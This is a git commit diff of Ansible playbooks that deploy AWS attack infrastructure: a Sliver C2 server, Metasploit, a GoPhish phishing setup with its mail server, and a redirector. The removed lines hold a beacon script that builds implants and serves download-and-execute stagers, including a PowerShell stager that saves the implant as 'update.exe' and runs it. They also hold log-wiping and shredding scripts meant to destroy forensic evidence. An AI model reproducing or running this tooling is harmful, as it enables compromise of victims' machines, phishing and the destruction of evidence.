reconfiging everything

This commit is contained in:
n0mad1k
2025-04-10 11:45:38 -04:00
parent 97277b0f64
commit 19501b84a0
17 changed files with 1908 additions and 5627 deletions
-479
View File
@@ -1,479 +0,0 @@
---
- name: Create and configure AWS EC2 instance for C2 Server
hosts: localhost
gather_facts: false
connection: local
vars_files:
- vars.yaml
vars:
ssh_user: "kali"
tasks:
- block:
- name: Select a random AWS region
set_fact:
selected_aws_region: "{{ aws_region_choices | random }}"
- name: Set AMI ID based on region
set_fact:
aws_ami: "{{ ami_map[selected_aws_region] }}"
- name: Create an EC2 key pair
amazon.aws.ec2_key:
access_key: "{{ aws_access_key }}"
secret_key: "{{ aws_secret_key }}"
name: "{{ instance_label }}"
region: "{{ selected_aws_region }}"
state: present
register: key_pair
- name: Save private key locally
copy:
content: "{{ key_pair.key.private_key }}"
dest: "~/.ssh/{{ instance_label }}.pem"
mode: "0600"
when: key_pair.changed
- name: Check if a security group with required properties already exists
amazon.aws.ec2_security_group_info:
filters:
group-name: "security-sg"
region: "{{ selected_aws_region }}"
aws_access_key: "{{ aws_access_key }}"
aws_secret_key: "{{ aws_secret_key }}"
register: existing_sg
ignore_errors: yes
- name: Create a security group for the instance if it doesn't exist
amazon.aws.ec2_group:
name: "security-sg"
description: "Completely open security group for instance {{ instance_label }}"
region: "{{ selected_aws_region }}"
aws_access_key: "{{ aws_access_key }}"
aws_secret_key: "{{ aws_secret_key }}"
rules:
- proto: -1 # Allow all protocols
cidr_ip: "0.0.0.0/0" # Open to all IPv4 addresses
rules_egress:
- proto: -1
cidr_ip: "0.0.0.0/0"
when: existing_sg.security_groups | length == 0
register: c2_sg_result
- name: Launch EC2 instance
amazon.aws.ec2_instance:
aws_access_key: "{{ aws_access_key | default(omit) }}"
aws_secret_key: "{{ aws_secret_key | default(omit) }}"
region: "{{ selected_aws_region }}"
name: "{{ instance_label }}"
image_id: "{{ aws_ami }}"
instance_type: "{{ aws_instance_type }}"
key_name: "{{ instance_label }}"
security_groups:
- "security-sg"
wait: no
volumes:
- device_name: "/dev/xvda"
ebs:
volume_size: 100
delete_on_termination: true
register: ec2_instance
- name: Set instance_id fact for cleanup
set_fact:
instance_id: "{{ ec2_instance.instance_ids[0] | default('') }}"
when: ec2_instance.instances is defined and ec2_instance.instances | length > 0
- name: Wait for EC2 instance to reach running state
amazon.aws.ec2_instance_info:
aws_access_key: "{{ aws_access_key | default(omit) }}"
aws_secret_key: "{{ aws_secret_key | default(omit) }}"
region: "{{ selected_aws_region }}"
instance_ids: "{{ ec2_instance.instance_ids }}"
register: instance_info
retries: 10
delay: 30
until: instance_info.instances[0].state.name == "running"
- name: Fetch the public IP of the instance
command: >
aws ec2 describe-instances
--filters "Name=tag:Name,Values={{ instance_label }}"
"Name=instance-state-name,Values=running"
--query "Reservations[*].Instances[*].PublicIpAddress"
--output text
register: instance_ip_result
environment:
AWS_ACCESS_KEY_ID: "{{ aws_access_key }}"
AWS_SECRET_ACCESS_KEY: "{{ aws_secret_key }}"
AWS_DEFAULT_REGION: "{{ selected_aws_region }}"
retries: 3
delay: 200
until: instance_ip_result.stdout is not none and instance_ip_result.stdout != ""
- name: Set instance_public_ip variable
ansible.builtin.set_fact:
instance_public_ip: "{{ instance_ip_result.stdout | trim }}"
when: instance_ip_result is defined and instance_ip_result.stdout != ""
- name: Add EC2 instance to inventory
add_host:
name: "{{ instance_label }}"
ansible_host: "{{ instance_public_ip }}"
ansible_user: kali
ansible_ssh_private_key_file: "{{ private_key_path }}.pem"
ansible_ssh_common_args: '-o IdentitiesOnly=yes'
- name: Pause for 300 seconds to allow instance initialization
ansible.builtin.pause:
seconds: 300
- name: Validate SSH connection with retries
block:
- name: Attempt SSH connection
ansible.builtin.command:
cmd: ssh -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -i "{{ private_key_path }}.pem" kali@{{ instance_public_ip }} echo "SSH connection successful"
delay: 100 # Adjust delay if needed
retries: 2
register: ssh_validation_result
ignore_errors: yes
- name: Fail if SSH validation fails
ansible.builtin.fail:
msg: "SSH connection validation failed. Check instance settings, SSH key, and security group."
when: (ssh_validation_result is not defined or ssh_validation_result.rc != 0)
- name: Configure AWS EC2 instance
hosts: "{{ instance_label }}"
gather_facts: true
tasks:
- name: Set a custom MOTD
template:
src: motd-aws.j2
dest: /etc/motd
owner: root
group: root
mode: '0644'
become: true
vars:
letsencrypt_email: "{{ letsencrypt_email }}"
mail_hostname: "{{ mail_hostname }}"
domain: "{{ domain }}"
gophish_admin_domain: "{{ gophish_admin_domain }}"
gophish_site_domain: "{{ gophish_site_domain }}"
- name: Hush Default Login Message
become: true
ansible.builtin.shell: |
rm -rf '/usr/bin/kali-motd'
- name: Update apt package list
ansible.builtin.apt:
update_cache: yes
become: true
- name: Install base utilities and tools via apt
become: true
ansible.builtin.apt:
name:
- git
- wget
- curl
- unzip
- python3-pip
- python3-venv
- tmux
- pipx
- nmap
- tcpdump
- hydra
- john
- hashcat
- sqlmap
- gobuster
- dirb
- enum4linux
- dnsenum
- seclists
- responder
- golang
- proxychains
- tor
- crackmapexec
- jq
- unzip
- postfix
- certbot
- opendkim
- opendkim-tools
- dovecot-core
- dovecot-imapd
- dovecot-pop3d
- dovecot-sieve
- dovecot-managesieved
- yq
state: present
- name: Ensure pipx path is configured
ansible.builtin.shell: |
pipx ensurepath
become: true
args:
executable: /bin/bash
- name: Create Tools dir
ansible.builtin.shell: |
mkdir /home/kali/Tools
- name: Install tools via pipx
ansible.builtin.shell: |
export PATH=$PATH:/root/.local/bin
pipx ensurepath
pipx install git+https://github.com/Pennyw0rth/NetExec
pipx install git+https://github.com/blacklanternsecurity/TREVORspray
pipx install impacket
become: true
args:
executable: /bin/bash
- name: Download Kerbrute
ansible.builtin.shell: |
mkdir -p /home/kali/Tools/Kerbrute
wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64 -O /home/kali/Tools/Kerbrute/kerbrute
chmod +x /home/kali/Tools/Kerbrute/kerbrute
become: true
args:
executable: /bin/bash
- name: Clone SharpCollection nightly builds
ansible.builtin.git:
repo: https://github.com/Flangvik/SharpCollection.git
dest: /home/kali/Tools/SharpCollection
version: master
- name: Clone PEASS-ng
ansible.builtin.git:
repo: https://github.com/carlospolop/PEASS-ng.git
dest: /home/kali/Tools/PEASS-ng
- name: Clone MailSniper
ansible.builtin.git:
repo: https://github.com/dafthack/MailSniper.git
dest: /home/kali/Tools/MailSniper
- name: Clone Inveigh
ansible.builtin.git:
repo: https://github.com/Kevin-Robertson/Inveigh.git
dest: /home/kali/Tools/Inveigh
- name: Install Sliver C2 server
ansible.builtin.shell: |
curl https://sliver.sh/install | bash
systemctl enable sliver
systemctl start sliver
become: true
- name: Install Metasploit Framework (Nightly Build)
ansible.builtin.shell: |
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > /home/kali/Tools/msfinstall
chmod 755 /home/kali/Tools/msfinstall
/home/kali/Tools/msfinstall
become: true
args:
executable: /bin/bash
- name: Grab GoPhish
ansible.builtin.shell: |
curl -L "$(curl -s https://api.github.com/repos/gophish/gophish/releases/latest | jq -r '.assets[] | select(.browser_download_url | contains("linux-64bit.zip")) | .browser_download_url')" -o /home/kali/Tools/gophish.zip
unzip /home/kali/Tools/gophish.zip -d /home/kali/Tools/gophish
rm -rf /home/kali/Tools/gophish.zip
chmod +x /home/kali/Tools/gophish
- name: Deploy Gophish config.json with custom admin port
become: true
template:
src: gophish-config.j2
dest: /home/kali/Tools/gophish/config.json
owner: kali
group: kali
mode: '0644'
vars:
gophish_admin_port: "{{ gophish_admin_port }}"
domain: "{{ domain }}"
- name: Configure Postfix main.cf
lineinfile:
path: /etc/postfix/main.cf
regexp: "{{ item.regexp }}"
line: "{{ item.line }}"
with_items:
- { regexp: '^myhostname', line: "myhostname = mail.{{ domain }}" }
- { regexp: '^mydomain', line: "mydomain = {{ domain }}" }
- { regexp: '^myorigin', line: "myorigin = $mydomain" }
- { regexp: '^inet_interfaces', line: "inet_interfaces = all" }
- { regexp: '^inet_protocols', line: "inet_protocols = ipv4" }
- { regexp: '^smtpd_banner', line: "smtpd_banner = $myhostname ESMTP $mail_name" }
- { regexp: '^mynetworks', line: "mynetworks = 127.0.0.0/8 [::1]/128" }
- { regexp: '^relay_domains', line: "relay_domains = $mydestination" }
- { regexp: '^smtpd_tls_cert_file', line: "smtpd_tls_cert_file = /etc/letsencrypt/live/{{ domain }}/fullchain.pem" }
- { regexp: '^smtpd_tls_key_file', line: "smtpd_tls_key_file = /etc/letsencrypt/live/{{ domain }}/privkey.pem" }
- { regexp: '^smtpd_tls_security_level', line: "smtpd_tls_security_level = encrypt" }
- { regexp: '^smtpd_tls_session_cache_database', line: "smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache" }
- { regexp: '^smtp_tls_session_cache_database', line: "smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache" }
- { regexp: '^smtpd_use_tls', line: "smtpd_use_tls = yes" }
- { regexp: '^smtpd_tls_auth_only', line: "smtpd_tls_auth_only = yes" }
- { regexp: '^milter_default_action', line: "milter_default_action = accept" }
- { regexp: '^milter_protocol', line: "milter_protocol = 6" }
- { regexp: '^smtpd_milters', line: "smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock" }
- { regexp: '^non_smtpd_milters', line: "non_smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock" }
become: true
- name: Configure OpenDKIM
lineinfile:
path: /etc/opendkim.conf
regexp: "{{ item.regexp }}"
line: "{{ item.line }}"
with_items:
- { regexp: '^Domain', line: "Domain {{ domain }}" }
- { regexp: '^KeyFile', line: "KeyFile /etc/opendkim/keys/{{ domain }}/mail.private" }
- { regexp: '^Selector', line: "Selector mail" }
- { regexp: '^Socket', line: "Socket local:/var/spool/postfix/opendkim/opendkim.sock" }
- { regexp: '^Syslog', line: "Syslog yes" }
- { regexp: '^UMask', line: "UMask 002" }
- { regexp: '^Mode', line: "Mode sv" }
become: true
- name: Create DKIM directory
file:
path: /etc/opendkim/keys/{{ domain }}
state: directory
owner: opendkim
group: opendkim
mode: 0700
become: true
- name: Generate DKIM keys
command: >
opendkim-genkey -D /etc/opendkim/keys/{{ domain }} -d {{ domain }} -s mail
args:
creates: /etc/opendkim/keys/{{ domain }}/mail.private
become: true
- name: Set permissions for DKIM keys
file:
path: /etc/opendkim/keys/{{ domain }}/mail.private
owner: opendkim
group: opendkim
mode: 0600
become: true
- name: Configure OpenDKIM TrustedHosts
copy:
content: |
127.0.0.1
::1
localhost
{{ domain }}
dest: /etc/opendkim/TrustedHosts
owner: opendkim
group: opendkim
mode: 0644
become: true
- name: Enable submission port (587) in master.cf
blockinfile:
path: /etc/postfix/master.cf
insertafter: '^#submission'
block: |
submission inet n - y - - smtpd
-o syslog_name=postfix/submission
-o smtpd_tls_security_level=encrypt
-o smtpd_sasl_auth_enable=yes
-o smtpd_recipient_restrictions=permit_sasl_authenticated,reject
-o smtpd_relay_restrictions=permit_sasl_authenticated,reject
become: true
- name: Configure Dovecot for Postfix SASL
blockinfile:
path: /etc/dovecot/conf.d/10-master.conf
insertafter: '^service auth {'
block: |
# Postfix smtp-auth
unix_listener /var/spool/postfix/private/auth {
mode = 0660
user = postfix
group = postfix
}
become: true
- name: Set Dovecot auth_mechanisms
lineinfile:
path: /etc/dovecot/conf.d/10-auth.conf
regexp: '^auth_mechanisms'
line: 'auth_mechanisms = plain login'
become: true
- name: Create Dovecot password file for SASL authentication
file:
path: /etc/dovecot/passwd
state: touch
mode: '0600'
owner: dovecot
group: dovecot
become: true
- name: Add SMTP auth user to Dovecot
lineinfile:
path: /etc/dovecot/passwd
line: "{{ smtp_auth_user }}:{{ smtp_auth_pass | password_hash('sha512_crypt') }}"
become: true
- name: Disable system auth and use passwd-file
lineinfile:
path: /etc/dovecot/conf.d/10-auth.conf
regexp: '^!include auth-system.conf.ext'
line: '#!include auth-system.conf.ext'
become: true
- name: Add auth-passwdfile configuration
blockinfile:
path: /etc/dovecot/conf.d/10-auth.conf
insertafter: '^auth_mechanisms ='
block: |
passdb {
driver = passwd-file
args = scheme=sha512_crypt /etc/dovecot/passwd
}
userdb {
driver = static
args = uid=vmail gid=vmail home=/var/vmail/%u
}
become: true
- name: Create vmail group
group:
name: vmail
gid: 5000
state: present
become: true
- name: Create vmail user
user:
name: vmail
uid: 5000
group: vmail
create_home: no
become: true
- name: Restart Postfix
service:
name: postfix
state: restarted
become: true
- name: Restart Dovecot
service:
name: dovecot
state: restarted
become: true
+98 -331
View File
@@ -1,381 +1,148 @@
---
# AWS C2 Deployment Playbook
- name: Deploy AWS C2 server
hosts: localhost
gather_facts: false
connection: local
vars_files:
- vars.yaml
vars:
region: "{{ aws_region | default('us-east-1') }}"
instance_type: "{{ size | default('t2.medium') }}"
instance_name: "{{ c2_name | default('c2') }}"
domain: "{{ domain | default('example.com') }}"
c2_subdomain: "mail"
# Default values for required variables
ssh_user: "{{ ssh_user | default('kali') }}"
aws_region: "{{ aws_region | default(aws_region_choices | random) }}"
instance_type: "{{ aws_instance_type | default('t2.medium') }}"
# Generate random instance name if not provided
c2_name: "{{ c2_name | default('node-' + 9999999999 | random | to_uuid | hash('md5') | truncate(8, True, '')) }}"
tasks:
- name: Set a random AWS region if not specified
set_fact:
selected_aws_region: "{{ aws_region_choices | random }}"
when: aws_region is not defined
- name: Create an EC2 key pair
- name: Validate required AWS credentials
assert:
that:
- aws_access_key is defined and aws_access_key != ""
- aws_secret_key is defined and aws_secret_key != ""
fail_msg: "AWS credentials are required. Set aws_access_key and aws_secret_key."
- name: Create EC2 key pair for C2
amazon.aws.ec2_key:
name: "{{ instance_name }}"
region: "{{ region }}"
access_key: "{{ aws_access_key }}"
secret_key: "{{ aws_secret_key }}"
name: "{{ c2_name }}"
region: "{{ aws_region }}"
state: present
register: key_pair
register: c2_key_pair
- name: Save private key locally
- name: Save C2 private key locally
copy:
content: "{{ key_pair.key.private_key }}"
dest: "~/.ssh/{{ instance_name }}.pem"
content: "{{ c2_key_pair.key.private_key }}"
dest: "~/.ssh/{{ c2_name }}.pem"
mode: "0600"
when: key_pair.changed
when: c2_key_pair.changed and c2_key_pair.key.private_key is defined
- name: Create security group for C2 server
- name: Create a security group for the C2 server
amazon.aws.ec2_group:
name: "{{ instance_name }}-sg"
description: "Security group for C2 server"
region: "{{ region }}"
access_key: "{{ aws_access_key }}"
secret_key: "{{ aws_secret_key }}"
name: "{{ c2_name }}-sg"
description: "Security group for C2 server {{ c2_name }}"
region: "{{ aws_region }}"
rules:
- proto: tcp
ports:
- 22
- 50051 # Sliver gRPC port
- 8888 # C2 HTTP listener
- 8443 # Beacon server
- 80
- 443
- 8888 # Sliver HTTP listener
- 50051 # Sliver gRPC port
- 31337 # Additional C2 port
cidr_ip: 0.0.0.0/0
rules_egress:
- proto: -1
cidr_ip: 0.0.0.0/0
register: c2_sg
register: c2_sg_result
- name: Launch C2 EC2 instance
amazon.aws.ec2_instance:
name: "{{ instance_name }}"
region: "{{ region }}"
image_id: "{{ ami_map[region] }}"
access_key: "{{ aws_access_key }}"
secret_key: "{{ aws_secret_key }}"
region: "{{ aws_region }}"
name: "{{ c2_name }}"
image_id: "{{ ami_map[aws_region] }}"
instance_type: "{{ instance_type }}"
key_name: "{{ instance_name }}"
security_group: "{{ c2_sg.group_id }}"
network:
assign_public_ip: true
tags:
Name: "{{ instance_name }}"
Role: "c2"
key_name: "{{ c2_name }}"
security_groups:
- "{{ c2_name }}-sg"
wait: yes
tags:
Name: "{{ c2_name }}"
Role: "c2"
volumes:
- device_name: "/dev/xvda"
ebs:
volume_size: 100
delete_on_termination: true
register: c2_instance
- name: Save C2 IP
- name: Set c2_ip for later use
set_fact:
c2_ip: "{{ c2_instance.instances[0].public_ip_address }}"
c2_instance_id: "{{ c2_instance.instances[0].instance_id }}"
- name: Wait for SSH to become available
- name: Wait for C2 SSH to be available
wait_for:
host: "{{ c2_ip }}"
port: 22
delay: 10
delay: 30
timeout: 300
state: started
- name: Add C2 server to inventory
- name: Add C2 to inventory
add_host:
name: c2
name: "c2"
groups: "c2servers"
ansible_host: "{{ c2_ip }}"
ansible_user: "{{ ssh_user | default('kali') }}"
ansible_ssh_private_key_file: "~/.ssh/{{ instance_name }}.pem"
groups: c2servers
ansible_user: "{{ ssh_user }}"
ansible_ssh_private_key_file: "~/.ssh/{{ c2_name }}.pem"
ansible_ssh_common_args: "-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null"
- name: Configure C2 server
hosts: c2servers
become: true
gather_facts: true
vars_files:
- vars.yaml
vars:
domain: "{{ domain | default('example.com') }}"
c2_subdomain: "mail"
letsencrypt_email: "{{ letsencrypt_email | default('admin@example.com') }}"
zero_logs: "{{ zero_logs | default(true) }}"
redirector_ip: "{{ hostvars['localhost']['redirector_ip'] | default('127.0.0.1') }}"
redirector_ip: "{{ redirector_ip | default('127.0.0.1') }}"
c2_subdomain: "{{ c2_subdomain | default('mail') }}"
tasks:
- name: Update apt cache
- name: Wait for apt to be available
apt:
update_cache: yes
register: apt_result
until: apt_result is success
retries: 5
delay: 10
- name: Install required packages
apt:
name:
- git
- wget
- curl
- python3-pip
- golang
- tmux
- nmap
- jq
- secure-delete
- socat
state: present
- name: Create directories for C2 operation
file:
path: "{{ item }}"
state: directory
mode: '0700'
owner: root
group: root
with_items:
- /opt/c2
- /opt/beacons
- /opt/payloads
- name: Create clean-logs.sh script
copy:
content: |
#!/bin/bash
# Zero-logs maintenance script
umask 077
# Disable syslog temporarily
systemctl stop rsyslog 2>/dev/null
systemctl stop systemd-journald 2>/dev/null
# Clear system logs
find /var/log -type f -name "*.log" -exec truncate -s 0 {} \;
find /var/log -type f -name "auth.log*" -exec truncate -s 0 {} \;
find /var/log -type f -name "syslog*" -exec truncate -s 0 {} \;
journalctl --vacuum-time=1s 2>/dev/null
# Clear bash history
for histfile in /root/.bash_history /home/*/.bash_history; do
[ -f "$histfile" ] && cat /dev/null > "$histfile" 2>/dev/null
done
history -c
# Clear Sliver logs
find /root/.sliver/logs -type f -exec cat /dev/null > {} \; 2>/dev/null
# Clear temporary directories
rm -rf /tmp/* /var/tmp/* 2>/dev/null
# Restart logging services
systemctl start systemd-journald 2>/dev/null
systemctl start rsyslog 2>/dev/null
echo "[+] Log cleaning complete"
exit 0
dest: /opt/c2/clean-logs.sh
mode: '0700'
owner: root
group: root
- name: Create secure-exit.sh script
copy:
content: |
#!/bin/bash
# Secure cleanup script
# Configuration
SECURE_DELETE_PASSES=7
MEMORY_WIPE=true
# Set secure umask
umask 077
# Function to securely delete files
secure_delete() {
local target=$1
echo "[+] Securely deleting: $target"
if command -v srm > /dev/null; then
srm -vzf $target 2>/dev/null
elif command -v shred > /dev/null; then
shred -vzfn $SECURE_DELETE_PASSES $target 2>/dev/null
else
# Fallback to dd if specialized tools aren't available
dd if=/dev/urandom of=$target bs=1M count=10 conv=notrunc 2>/dev/null
dd if=/dev/zero of=$target bs=1M count=10 conv=notrunc 2>/dev/null
rm -f $target 2>/dev/null
fi
}
echo "[+] Beginning secure exit procedure..."
# Stop all operational services
echo "[+] Stopping operational services..."
services=("sliver")
for service in "${services[@]}"; do
systemctl stop $service 2>/dev/null
done
# Kill any remaining operational processes
echo "[+] Terminating operational processes..."
process_names=("sliver" "nc" "python")
for proc in "${process_names[@]}"; do
pkill -9 $proc 2>/dev/null
done
# Clear all logs
echo "[+] Clearing logs..."
bash /opt/c2/clean-logs.sh
# Securely delete operational files
echo "[+] Removing operational files..."
operational_dirs=(
"/opt/c2"
"/opt/beacons"
"/opt/payloads"
"/root/.sliver"
)
for dir in "${operational_dirs[@]}"; do
find $dir -type f 2>/dev/null | while read file; do
secure_delete "$file"
done
rm -rf $dir 2>/dev/null
done
# Remove SSH keys
echo "[+] Removing SSH keys and configs..."
find /home/*/.ssh /root/.ssh -type f 2>/dev/null | while read file; do
secure_delete "$file"
done
# Clean memory if requested
if $MEMORY_WIPE; then
echo "[+] Wiping system memory..."
sync
echo 3 > /proc/sys/vm/drop_caches
swapoff -a
swapon -a
fi
echo "[+] Secure exit completed. Infrastructure has been sanitized."
# Remove this script itself
exec shred -n $SECURE_DELETE_PASSES -uz $0
dest: /opt/c2/secure-exit.sh
mode: '0700'
owner: root
group: root
- name: Create beacon-server.sh script
copy:
content: |
#!/bin/bash
# Beacon server script
# Configuration
BEACONS_DIR="/opt/beacons"
WEBSERVER_PORT=8443
# Set secure umask
umask 077
# Ensure beacons directory exists
mkdir -p $BEACONS_DIR
# Generate beacons using Sliver
echo "[+] Generating beacons for all platforms..."
# Make sure Sliver server is running
if ! pgrep -x "sliver-server" > /dev/null; then
echo "[!] Sliver server is not running, starting it..."
systemctl start sliver
sleep 5
fi
# Generate Windows beacon
sliver-cli generate --http {{ ansible_host }}:8888 --os windows --arch amd64 --save $BEACONS_DIR/windows.exe
# Generate Linux beacon
sliver-cli generate --http {{ ansible_host }}:8888 --os linux --arch amd64 --save $BEACONS_DIR/linux
# Generate macOS beacon
sliver-cli generate --http {{ ansible_host }}:8888 --os darwin --arch amd64 --save $BEACONS_DIR/macos
# Generate stagers
echo "#!/bin/bash
curl -s {{ ansible_host }}:8443/linux | chmod +x && ./linux" > $BEACONS_DIR/beacon.sh
chmod +x $BEACONS_DIR/beacon.sh
echo "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;
\$url = 'http://{{ ansible_host }}:8443/windows.exe';
\$outpath = \"\$env:TEMP\\update.exe\";
Invoke-WebRequest -Uri \$url -OutFile \$outpath;
Start-Process -NoNewWindow -FilePath \$outpath;" > $BEACONS_DIR/beacon.ps1
echo "[+] All beacons generated successfully"
# Serve beacons using Python's HTTP server
echo "[+] Starting HTTP server on port $WEBSERVER_PORT..."
cd $BEACONS_DIR
python3 -m http.server $WEBSERVER_PORT --bind 0.0.0.0 &
SERVER_PID=$!
echo "[+] Beacon server started with PID $SERVER_PID"
echo "[+] Beacons available at http://{{ ansible_host }}:$WEBSERVER_PORT/"
# Keep script running
trap "kill $SERVER_PID; echo '[+] Beacon server stopped'; exit 0" INT
while true; do sleep 1; done
dest: /opt/c2/beacon-server.sh
mode: '0700'
owner: root
group: root
- name: Install Sliver C2 framework
shell: |
curl https://sliver.sh/install | bash
args:
creates: /usr/local/bin/sliver-server
- name: Create Sliver service file
copy:
content: |
[Unit]
Description=Sliver C2 Server
After=network.target
[Service]
Type=simple
User=root
Group=root
WorkingDirectory=/root/.sliver
ExecStart=/usr/local/bin/sliver-server daemon
Restart=always
RestartSec=10
# Security measures
PrivateTmp=true
ProtectHome=false
NoNewPrivileges=true
# Hide process information
StandardOutput=null
StandardError=null
[Install]
WantedBy=multi-user.target
dest: /etc/systemd/system/sliver.service
mode: '0644'
owner: root
group: root
- name: Start and enable Sliver service
systemd:
name: sliver
state: started
enabled: yes
daemon_reload: yes
- name: Set up cron job for log cleaning
cron:
name: "Clean logs"
minute: "0"
hour: "*/6"
job: "/opt/c2/clean-logs.sh > /dev/null 2>&1"
when: zero_logs|bool
- name: Start beacon server
shell: |
nohup /opt/c2/beacon-server.sh > /dev/null 2>&1 &
args:
creates: /opt/beacons/windows.exe
- name: Include common tool installation tasks
include_tasks: "../tasks/install_tools.yml"
- name: Include common C2 configuration tasks
include_tasks: "../tasks/configure_c2.yml"
- name: Include common security hardening tasks
include_tasks: "../tasks/security_hardening.yml"
- name: Include common mail server configuration tasks
include_tasks: "../tasks/configure_mail.yml"
- name: Print deployment summary
debug:
msg:
- "C2 Server Deployment Complete!"
- "-----------------------------"
- "C2 Server IP: {{ ansible_host }}"
- "C2 Server Domain: {{ c2_subdomain }}.{{ domain }} (Update DNS A record)"
- "GoPhish Admin Port: {{ gophish_admin_port }}"
- "SSH Key: ~/.ssh/{{ hostvars['localhost']['c2_name'] }}.pem"
when: not disable_summary | default(false)
+160
View File
@@ -0,0 +1,160 @@
---
# AWS Cleanup Playbook
# Used to tear down AWS infrastructure
- name: Clean up AWS infrastructure
hosts: localhost
connection: local
gather_facts: false
vars_files:
- vars.yaml
vars:
aws_region: "{{ aws_region | default(aws_region_choices | random) }}"
cleanup_redirector: "{{ (redirector_name is defined and redirector_name != '') | ternary(true, false) }}"
cleanup_c2: "{{ (c2_name is defined and c2_name != '') | ternary(true, false) }}"
confirm_cleanup: "{{ confirm_cleanup | default(true) }}"
tasks:
- name: Validate required AWS credentials
assert:
that:
- aws_access_key is defined and aws_access_key != ""
- aws_secret_key is defined and aws_secret_key != ""
fail_msg: "AWS credentials are required. Set aws_access_key and aws_secret_key."
- name: Confirm cleanup if required
pause:
prompt: "WARNING: This will permanently delete all infrastructure. Type 'yes' to continue"
register: confirmation
when: confirm_cleanup
- name: Exit if not confirmed
meta: end_play
when: confirm_cleanup and confirmation.user_input != 'yes'
- name: Find redirector instance ID
command: >
aws ec2 describe-instances
--filters "Name=tag:Name,Values={{ redirector_name }}"
--query "Reservations[*].Instances[*].InstanceId"
--output text
--region {{ aws_region }}
environment:
AWS_ACCESS_KEY_ID: "{{ aws_access_key }}"
AWS_SECRET_ACCESS_KEY: "{{ aws_secret_key }}"
register: redirector_id_result
failed_when: false
changed_when: false
when: cleanup_redirector
- name: Find C2 instance ID
command: >
aws ec2 describe-instances
--filters "Name=tag:Name,Values={{ c2_name }}"
--query "Reservations[*].Instances[*].InstanceId"
--output text
--region {{ aws_region }}
environment:
AWS_ACCESS_KEY_ID: "{{ aws_access_key }}"
AWS_SECRET_ACCESS_KEY: "{{ aws_secret_key }}"
register: c2_id_result
failed_when: false
changed_when: false
when: cleanup_c2
- name: Set instance IDs as facts
set_fact:
redirector_instance_id: "{{ redirector_id_result.stdout | trim }}"
when: cleanup_redirector and redirector_id_result.stdout is defined and redirector_id_result.stdout | trim != ""
- name: Set C2 instance ID as fact
set_fact:
c2_instance_id: "{{ c2_id_result.stdout | trim }}"
when: cleanup_c2 and c2_id_result.stdout is defined and c2_id_result.stdout | trim != ""
- name: Terminate redirector instance
amazon.aws.ec2_instance:
state: absent
instance_ids:
- "{{ redirector_instance_id }}"
region: "{{ aws_region }}"
aws_access_key: "{{ aws_access_key }}"
aws_secret_key: "{{ aws_secret_key }}"
when: cleanup_redirector and redirector_instance_id is defined and redirector_instance_id != ""
register: redirector_termination
- name: Terminate C2 instance
amazon.aws.ec2_instance:
state: absent
instance_ids:
- "{{ c2_instance_id }}"
region: "{{ aws_region }}"
aws_access_key: "{{ aws_access_key }}"
aws_secret_key: "{{ aws_secret_key }}"
when: cleanup_c2 and c2_instance_id is defined and c2_instance_id != ""
register: c2_termination
- name: Wait for instances to be fully terminated
pause:
seconds: 30
when:
- (redirector_termination is defined and redirector_termination.changed) or
(c2_termination is defined and c2_termination.changed)
- name: Delete redirector security group
amazon.aws.ec2_group:
name: "{{ redirector_name }}-sg"
state: absent
region: "{{ aws_region }}"
aws_access_key: "{{ aws_access_key }}"
aws_secret_key: "{{ aws_secret_key }}"
ignore_errors: yes
when: cleanup_redirector and redirector_name is defined and redirector_name != ""
- name: Delete C2 security group
amazon.aws.ec2_group:
name: "{{ c2_name }}-sg"
state: absent
region: "{{ aws_region }}"
aws_access_key: "{{ aws_access_key }}"
aws_secret_key: "{{ aws_secret_key }}"
ignore_errors: yes
when: cleanup_c2 and c2_name is defined and c2_name != ""
- name: Delete redirector key pair
amazon.aws.ec2_key:
name: "{{ redirector_name }}"
state: absent
region: "{{ aws_region }}"
aws_access_key: "{{ aws_access_key }}"
aws_secret_key: "{{ aws_secret_key }}"
when: cleanup_redirector and redirector_name is defined and redirector_name != ""
- name: Delete C2 key pair
amazon.aws.ec2_key:
name: "{{ c2_name }}"
state: absent
region: "{{ aws_region }}"
aws_access_key: "{{ aws_access_key }}"
aws_secret_key: "{{ aws_secret_key }}"
when: cleanup_c2 and c2_name is defined and c2_name != ""
- name: Remove redirector SSH key file
file:
path: "~/.ssh/{{ redirector_name }}.pem"
state: absent
when: cleanup_redirector and redirector_name is defined and redirector_name != ""
- name: Remove C2 SSH key file
file:
path: "~/.ssh/{{ c2_name }}.pem"
state: absent
when: cleanup_c2 and c2_name is defined and c2_name != ""
- name: Cleanup complete message
debug:
msg:
- "AWS infrastructure cleanup complete!"
- "Resources that were cleaned up:"
- "{{ cleanup_redirector | ternary('- Redirector instance: ' + redirector_name, '') }}"
- "{{ cleanup_c2 | ternary('- C2 instance: ' + c2_name, '') }}"
+87 -425
View File
@@ -1,476 +1,138 @@
---
- name: Deploy AWS redirector server
# AWS Redirector-only Deployment Playbook
- name: Deploy AWS redirector
hosts: localhost
gather_facts: false
connection: local
vars_files:
- vars.yaml
vars:
region: "{{ aws_region | default('us-east-1') }}"
instance_type: "{{ size | default('t2.medium') }}"
instance_name: "{{ redirector_name | default('redirector') }}"
domain: "{{ domain | default('example.com') }}"
redirector_subdomain: "cdn"
# Default values for required variables
ssh_user: "{{ ssh_user | default('kali') }}"
aws_region: "{{ aws_region | default(aws_region_choices | random) }}"
instance_type: "{{ aws_instance_type | default('t2.micro') }}"
# Generate random instance name if not provided
redirector_name: "{{ redirector_name | default('srv-' + 9999999999 | random | to_uuid | hash('md5') | truncate(8, True, '')) }}"
# Generate random shell handler port if not provided
shell_handler_port: "{{ shell_handler_port | default(4000 + 60000 | random) }}"
tasks:
- name: Set a random AWS region if not specified
set_fact:
selected_aws_region: "{{ aws_region_choices | random }}"
when: aws_region is not defined
- name: Create an EC2 key pair
- name: Validate required AWS credentials
assert:
that:
- aws_access_key is defined and aws_access_key != ""
- aws_secret_key is defined and aws_secret_key != ""
fail_msg: "AWS credentials are required. Set aws_access_key and aws_secret_key."
- name: Create EC2 key pair for redirector
amazon.aws.ec2_key:
